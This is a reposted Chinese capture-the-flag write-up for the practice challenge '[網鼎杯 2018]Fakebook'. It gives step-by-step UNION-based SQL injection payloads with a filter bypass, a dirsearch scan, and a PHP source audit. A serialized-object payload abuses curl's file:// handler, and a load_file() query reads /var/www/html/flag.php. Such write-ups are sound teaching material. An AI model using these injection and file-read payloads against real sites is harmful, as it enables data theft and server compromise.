buu-[網鼎杯 2018]Fakebook


考點1.sql注入

啟動靶機得到如下頁面:

 

 

 

 

發現有login和join兩個選項

Join就相當於注冊,注冊完它會自動登錄

 

 

 

然后來到如下頁面

 

 

 

我們注意到username下的字段是可以點擊的,點擊后跳轉到如下頁面

 

 

 

然后我們注意到url后面有個no=1的參數,猜測存在sql注入

加個單引號得到報錯

 

 

 

果然存在注入,其次發現它是個數字型的注入,使用2-1,得到1的回顯

 

 

 

然后,我們可以開始注入了

首先,使用order by測列數

在測到五列時報錯

 

 

 

說明只有四列

然后就可以使用union select 1,2,3,4看注入點

 

 

 

但我們發現被過濾了

然后我們使用union all select 1,2,3,4成功繞過

 

 

 

這里要注意需要把no=1改掉,不然得不到后面的回顯,這里把它改成-1

 

 

 

發現在2處存在注入點

 

 

 

然后注意到這里有個unserialize,猜測存在序列化,暫時不知道在哪需要序列化,先放着

在知道2是注入點后,我們開始測數據庫名

no=-1 union all select 1,database(),3,4

 

 

 

得到數據庫名fakebook

再測表名

no=-1 union all select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()

 

 

 

得到表名users

再測列名

no=-1 union all select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'

 

 

 

這里需要注意因為數據庫里不只這一個庫里包含users表,后面大寫的是其他數據庫里的users表內容

猜測信息在data里,測里面的內容

no=-1 union all select 1,group_concat(data),3,4 from fakebook.users

 

 

 

最后得到序列化后的結果

是我們注冊的賬號,且被序列化輸出

那就要考序列化了。一般不會讓我們自己猜,肯定會給源碼讓我們構造的。我們進行掃描

考點2.目錄掃描

我用的是dirsearch,在buu里進行掃描需要設置線程。

命令:

python dirsearch.py -u http://df620cba-d0c8-4572-9070-2f55fb89c8fe.node4.buuoj.cn:81/ -e * --timeout=2 -t 1 -x 400,403,404,500,503,429
#-u 掃描的url
#-e 掃描的目錄后綴
#-t 設置掃描線程
#-x 排除指定的網站狀態碼(用逗號隔開)

 

 

 

查看robots.txt

訪問得到

 

 

下載后得到源碼

 1 <?php
 2 
 3  
 4 
 5 class UserInfo
 6 
 7 {
 8 
 9     public $name = "";
10 
11     public $age = 0;
12 
13     public $blog = "";
14 
15  
16 
17     public function __construct($name, $age, $blog)
18 
19     {
20 
21         $this->name = $name;
22 
23         $this->age = (int)$age;
24 
25         $this->blog = $blog;
26 
27     }
28 
29  
30 
31     function get($url)
32 
33     {
34 
35         $ch = curl_init();
36 
37  
38 
39         curl_setopt($ch, CURLOPT_URL, $url);
40 
41         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
42 
43         $output = curl_exec($ch);
44 
45         $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
46 
47         if($httpCode == 404) {
48 
49             return 404;
50 
51         }
52 
53         curl_close($ch);
54 
55  
56 
57         return $output;
58 
59     }
60 
61  
62 
63     public function getBlogContents ()
64 
65     {
66 
67         return $this->get($this->blog);
68 
69     }
70 
71  
72 
73     public function isValidBlog ()
74 
75     {
76 
77         $blog = $this->blog;
78 
79         return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
80 
81     }
82 
83  
84 
85 }

考點3.代碼審計

進行代碼審計,重點在這一塊

 

 

【*】curl_init : 初始化一個curl會話,供curl_setopt(), curl_exec()和curl_close() 函數使用。

 

【*】curl_setopt : 請求一個url。

其中CURLOPT_URL表示需要獲取的URL地址,后面就是跟上了它的值。

 

【*】CURLOPT_RETURNTRANSFER 將curl_exec()獲取的信息以文件流的形式返回,而不是直接輸出。

 

【*】curl_exec,成功時返回 TRUE, 或者在失敗時返回 FALSE。 然而,如果 CURLOPT_RETURNTRANSFER選項被設置,函數執行成功時會返回執行的結果,失敗時返回 FALSE 。

 

【*】CURLINFO_HTTP_CODE :最后一個收到的HTTP代碼。

curl_getinfo:以字符串形式返回它的值,因為設置了CURLINFO_HTTP_CODE,所以是返回的狀態碼。

如果狀態碼不是404,就返回exec的結果。

 

再來看看get函數在哪里調用

 

 

這里就清楚了,傳的參數是blog。

進行序列化,curl可用file協議,所以這里使用file協議讀取文件。file:///var/www/html/flag.php

因為源碼最后限制了blog的格式,所以我們只能使用序列化把blog注入進去

考點4.序列化

然后我們利用源碼構造序列化

 1 <?php
 2 class UserInfo
 3 {
 4     public $name = "2";
 5     public $age = 2;
 6     public $blog = "file:///var/www/html/flag.php";
 7 }
 8 $a=new UserInfo();
 9 echo serialize($a);
10     
11 ?>

 

 

 

 

 

因為列名里面沒有blog,所以我們要設置的點就是data那里了,所以在第四列進行注入,需要把序列化的句子包在單引號里

構造payload:

no=-1 union all select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

 

 

 

關於此處為什么可以注入,因為union select會創建一個虛擬存儲

例:

 

 

查看源碼

 

 

 

進行base64解碼

 

非預期解

還有個非預期解

使用load_file()函數,直接得到flag

payload:no=-1 union/**/select 1,load_file('/var/www/html/flag.php'),3,4

 

 

 

直接在源碼里得到flag

 

參考:[網鼎杯 2018]Fakebook_H9_dawn的博客-CSDN博客

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM